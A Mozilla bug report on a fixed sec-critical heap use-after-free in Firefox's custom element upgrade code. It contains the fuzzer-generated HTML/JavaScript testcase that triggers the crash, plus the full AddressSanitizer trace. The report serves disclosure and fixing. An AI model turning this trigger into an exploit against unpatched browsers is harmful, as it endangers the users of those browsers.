Closed
Bug 1464345
Opened 8 years ago
Closed 8 years ago
heap-use-after-free in mozilla::dom::CustomElementRegistry::Upgrade
Categories
(Core :: DOM: Core & HTML, defect)
Tracking
()
VERIFIED
FIXED
mozilla62
| Tracking | Status | |
|---|---|---|
| firefox-esr52 | --- | unaffected |
| firefox-esr60 | --- | disabled |
| firefox60 | --- | disabled |
| firefox61 | --- | disabled |
| firefox62 | --- | verified |
People
(Reporter: nils, Assigned: smaug)
Details
(Keywords: csectype-uaf, reporter-external, sec-critical, Whiteboard: [post-critsmash-triage])
Attachments
(3 files)
The following testcase crashes the latest ASAN build of Firefox 62.0a1 (SourceStamp=043e4ab6e72469ed8121f4da98dcdfef983a49d9). It requires a fuzzing build (--enable-fuzzing) and the pref fuzzing.enabled=true
It also requires the following pref which I believe is set by default now:
user_pref("dom.webcomponents.customelements.enabled",true);
crash.html:
<script>
function start() {
o88=window.document;
o92=document.createElement('optgroup');
o93=document.createElement('option');
o92.appendChild(o93);
tmpclass=(class X extends SVGAnimatedNumber {constructor(){super();}});
window.customElements.define('x-foo1',tmpclass);
o132=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup');
o92.appendChild(o132);
o92.addEventListener('DOMNodeInserted',fun0);
o132.insertAdjacentHTML('afterend',unescape(''));
}
let count = 0;
function fun0() {
count += 1;
if(count == 1) {
document.documentElement.appendChild(o92);
o93.insertAdjacentHTML('afterbegin','<x-foo1></x-foo1>');
} else if(count == 3) {
o88.write('');
FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();
}
}
</script>
<body onload="start()"></body>
ASAN output:
=================================================================
==13684==ERROR: AddressSanitizer: heap-use-after-free on address 0x6060002344c8 at pc 0x7f7f5ca4cdf6 bp 0x7ffe1725a3d0 sp 0x7ffe1725a3c8
READ of size 8 at 0x6060002344c8 thread T0 (file:// Content)
#0 0x7f7f5ca4cdf5 in Length /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:371:37
#1 0x7f7f5ca4cdf5 in IsEmpty /builds/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:374
#2 0x7f7f5ca4cdf5 in mozilla::dom::CustomElementRegistry::Upgrade(mozilla::dom::Element*, mozilla::dom::CustomElementDefinition*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/CustomElementRegistry.cpp:1047
#3 0x7f7f5ca4d697 in mozilla::dom::CustomElementReactionsStack::InvokeReactions(AutoTArray<RefPtr<mozilla::dom::Element>, 1ul>*, nsIGlobalObject*) /builds/worker/workspace/build/src/dom/base/CustomElementRegistry.cpp:1258:19
#4 0x7f7f5ca4d048 in mozilla::dom::CustomElementReactionsStack::PopAndInvokeElementQueue() /builds/worker/workspace/build/src/dom/base/CustomElementRegistry.cpp:1138:5
#5 0x7f7f5d0827d9 in LeaveCEReactions /builds/worker/workspace/build/src/dom/base/CustomElementRegistry.h:283:7
#6 0x7f7f5d0827d9 in ~AutoCEReaction /builds/worker/workspace/build/src/dom/base/CustomElementRegistry.h:542
#7 0x7f7f5d0827d9 in reset /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/Maybe.h:496
#8 0x7f7f5d0827d9 in mozilla::Maybe<mozilla::dom::AutoCEReaction>::~Maybe() /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/Maybe.h:188
#9 0x7f7f5ea6b22b in mozilla::dom::ElementBinding::insertAdjacentHTML(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Element*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/ElementBinding.cpp:3722:1
#10 0x7f7f5f181b81 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3280:13
#11 0x7f7f65a4c157 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15
#12 0x7f7f65a4c157 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468
#13 0x7f7f65a36fa5 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:12
#14 0x7f7f65a36fa5 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086
#15 0x7f7f65a1d4c6 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:418:12
#16 0x7f7f65a4bed5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:490:15
#17 0x7f7f65a4d152 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:536:10
#18 0x7f7f66594a5a in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2981:12
#19 0x7f7f5e92ed05 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:51:8
#20 0x7f7f5f8aa64e in HandleEvent<mozilla::dom::EventTarget *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
#21 0x7f7f5f8aa64e in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1121
#22 0x7f7f5f8abddb in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1291:20
#23 0x7f7f5f8963e7 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:560:14
#24 0x7f7f5f899ee3 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:961:9
#25 0x7f7f5f89c41b in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp
#26 0x7f7f5cd58548 in nsINode::DispatchEvent(mozilla::dom::Event&, mozilla::dom::CallerType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1091:5
#27 0x7f7f5f8baba3 in mozilla::dom::EventTarget::DispatchEvent(mozilla::dom::Event&) /builds/worker/workspace/build/src/dom/events/EventTarget.cpp:204:13
#28 0x7f7f5f835cdc in mozilla::AsyncEventDispatcher::Run() /builds/worker/workspace/build/src/dom/events/AsyncEventDispatcher.cpp:68:12
#29 0x7f7f5c8b9f6f in nsContentUtils::RemoveScriptBlocker() /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5633:15
#30 0x7f7f5cc88232 in nsDocument::EndUpdate() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5038:3
#31 0x7f7f5fc93c7c in nsHTMLDocument::EndUpdate() /builds/worker/workspace/build/src/dom/html/nsHTMLDocument.cpp:2103:15
#32 0x7f7f5cab38c5 in ~mozAutoDocUpdate /builds/worker/workspace/build/src/dom/base/mozAutoDocUpdate.h:37:18
#33 0x7f7f5cab38c5 in mozilla::dom::Element::InsertAdjacentHTML(nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Element.cpp:3972
#34 0x7f7f5ea6b1bc in mozilla::dom::ElementBinding::insertAdjacentHTML(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Element*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/ElementBinding.cpp:3715:9
#35 0x7f7f5f181b81 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3280:13
#36 0x7f7f65a4c157 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15
#37 0x7f7f65a4c157 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468
#38 0x7f7f65a36fa5 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:12
#39 0x7f7f65a36fa5 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086
#40 0x7f7f65a1d4c6 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:418:12
#41 0x7f7f65a4bed5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:490:15
#42 0x7f7f65a4d152 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:536:10
#43 0x7f7f66594a5a in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2981:12
#44 0x7f7f5e9298be in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:264:37
#45 0x7f7f5f8e611a in void mozilla::dom::EventHandlerNonNull::Call<nsISupports*>(nsISupports* const&, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JSCompartment*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12
#46 0x7f7f5f8e3a84 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214:12
#47 0x7f7f5f8aa69d in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1124:52
#48 0x7f7f5f8abddb in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1291:20
#49 0x7f7f5f8960e7 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:528:16
#50 0x7f7f5f899ee3 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:961:9
#51 0x7f7f61ba5378 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1166:7
#52 0x7f7f64d06cc2 in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7169:21
#53 0x7f7f64d030e9 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6962:7
#54 0x7f7f64d0a8ef in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp
#55 0x7f7f5b8cbb97 in nsDocLoader::DoFireOnStateChange(nsIWebProgress*, nsIRequest*, int&, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:1309:3
#56 0x7f7f5b8cac1a in nsDocLoader::doStopDocumentLoad(nsIRequest*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:852:14
#57 0x7f7f5b8c77f8 in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:741:9
#58 0x7f7f5b8c97bc in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:627:5
#59 0x7f7f5b8ca7dc in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp
#60 0x7f7f59c825fa in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:629:28
#61 0x7f7f5ccaa74a in DoUnblockOnload /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8340:18
#62 0x7f7f5ccaa74a in nsDocument::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8262
#63 0x7f7f5cc8afd4 in nsIDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5224:3
#64 0x7f7f5cd9d314 in applyImpl<nsIDocument, void (nsIDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1165:12
#65 0x7f7f5cd9d314 in apply<nsIDocument, void (nsIDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1171
#66 0x7f7f5cd9d314 in mozilla::detail::RunnableMethodImpl<nsIDocument*, void (nsIDocument::*)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1216
#67 0x7f7f59a77821 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:337:32
#68 0x7f7f59a96146 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1090:14
#69 0x7f7f59ab2080 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:519:10
#70 0x7f7f5a99364a in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21
#71 0x7f7f5a8e6cf9 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
#72 0x7f7f5a8e6cf9 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
#73 0x7f7f5a8e6cf9 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
#74 0x7f7f6150643a in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:157:27
#75 0x7f7f657637bb in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:893:22
#76 0x7f7f5a8e6cf9 in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10
#77 0x7f7f5a8e6cf9 in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319
#78 0x7f7f5a8e6cf9 in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299
#79 0x7f7f65763180 in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:719:34
#80 0x4f50dc in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:50:30
#81 0x4f50dc in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:282
#82 0x7f7f7981a82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#83 0x42476c in _start (/fuzzer3/firefox/firefox+0x42476c)
0x6060002344c8 is located 40 bytes inside of 64-byte region [0x6060002344a0,0x6060002344e0)
freed by thread T0 (file:// Content) here:
#0 0x4c5172 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3
#1 0x7f7f5991d730 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2729:25
#2 0x7f7f59925b1f in FreeSnowWhite /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2917:3
#3 0x7f7f59925b1f in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3925
#4 0x7f7f59924fad in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3746:9
#5 0x7f7f59928ec2 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4315:21
#6 0x7f7f5cd725de in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1488:3
#7 0x7f7f5eba41da in mozilla::dom::FuzzingFunctionsBinding::cycleCollect(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:54:3
#8 0x7f7f65a4c157 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15
#9 0x7f7f65a4c157 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468
#10 0x7f7f65a36fa5 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:12
#11 0x7f7f65a36fa5 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086
#12 0x7f7f65a1d4c6 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:418:12
#13 0x7f7f65a4bed5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:490:15
#14 0x7f7f65a4d152 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:536:10
#15 0x7f7f66594a5a in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2981:12
#16 0x7f7f5e92ed05 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:51:8
#17 0x7f7f5f8aa64e in HandleEvent<mozilla::dom::EventTarget *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
#18 0x7f7f5f8aa64e in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1121
#19 0x7f7f5f8abddb in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1291:20
#20 0x7f7f5f8963e7 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:560:14
#21 0x7f7f5f899ee3 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:961:9
#22 0x7f7f5f89c41b in mozilla::EventDispatcher::DispatchDOMEvent(nsISupports*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsPresContext*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp
#23 0x7f7f5cd58548 in nsINode::DispatchEvent(mozilla::dom::Event&, mozilla::dom::CallerType, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1091:5
#24 0x7f7f5f8baba3 in mozilla::dom::EventTarget::DispatchEvent(mozilla::dom::Event&) /builds/worker/workspace/build/src/dom/events/EventTarget.cpp:204:13
#25 0x7f7f5f835cdc in mozilla::AsyncEventDispatcher::Run() /builds/worker/workspace/build/src/dom/events/AsyncEventDispatcher.cpp:68:12
#26 0x7f7f5c8b9f6f in nsContentUtils::RemoveScriptBlocker() /builds/worker/workspace/build/src/dom/base/nsContentUtils.cpp:5633:15
#27 0x7f7f5cc88232 in nsDocument::EndUpdate() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5038:3
#28 0x7f7f5fc93c7c in nsHTMLDocument::EndUpdate() /builds/worker/workspace/build/src/dom/html/nsHTMLDocument.cpp:2103:15
#29 0x7f7f5cab38c5 in ~mozAutoDocUpdate /builds/worker/workspace/build/src/dom/base/mozAutoDocUpdate.h:37:18
#30 0x7f7f5cab38c5 in mozilla::dom::Element::InsertAdjacentHTML(nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/Element.cpp:3972
#31 0x7f7f5ea6b1bc in mozilla::dom::ElementBinding::insertAdjacentHTML(JSContext*, JS::Handle<JSObject*>, mozilla::dom::Element*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/ElementBinding.cpp:3715:9
#32 0x7f7f5f181b81 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3280:13
#33 0x7f7f65a4c157 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15
#34 0x7f7f65a4c157 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468
#35 0x7f7f65a36fa5 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:12
#36 0x7f7f65a36fa5 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086
previously allocated by thread T0 (file:// Content) here:
#0 0x4c54b3 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3
#1 0x4f5f7d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17
#2 0x7f7f5ca48d85 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:156:12
#3 0x7f7f5ca48d85 in mozilla::dom::CustomElementRegistry::Define(JSContext*, nsTSubstring<char16_t> const&, mozilla::dom::Function&, mozilla::dom::ElementDefinitionOptions const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/CustomElementRegistry.cpp:905
#4 0x7f7f5e867665 in mozilla::dom::CustomElementRegistryBinding::define(JSContext*, JS::Handle<JSObject*>, mozilla::dom::CustomElementRegistry*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/CustomElementRegistryBinding.cpp:258:9
#5 0x7f7f5f181b81 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3280:13
#6 0x7f7f65a4c157 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/JSContext-inl.h:280:15
#7 0x7f7f65a4c157 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:468
#8 0x7f7f65a36fa5 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:523:12
#9 0x7f7f65a36fa5 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3086
#10 0x7f7f65a1d4c6 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:418:12
#11 0x7f7f65a4bed5 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:490:15
#12 0x7f7f65a4d152 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:536:10
#13 0x7f7f66594a5a in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2981:12
#14 0x7f7f5e9298be in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:264:37
#15 0x7f7f5f8e611a in void mozilla::dom::EventHandlerNonNull::Call<nsISupports*>(nsISupports* const&, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JSCompartment*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12
#16 0x7f7f5f8e3a84 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:214:12
#17 0x7f7f5f8aa69d in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1124:52
#18 0x7f7f5f8abddb in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1291:20
#19 0x7f7f5f8960e7 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:528:16
#20 0x7f7f5f899ee3 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:961:9
#21 0x7f7f61ba5378 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1166:7
#22 0x7f7f64d06cc2 in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7169:21
#23 0x7f7f64d030e9 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6962:7
#24 0x7f7f64d0a8ef in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp
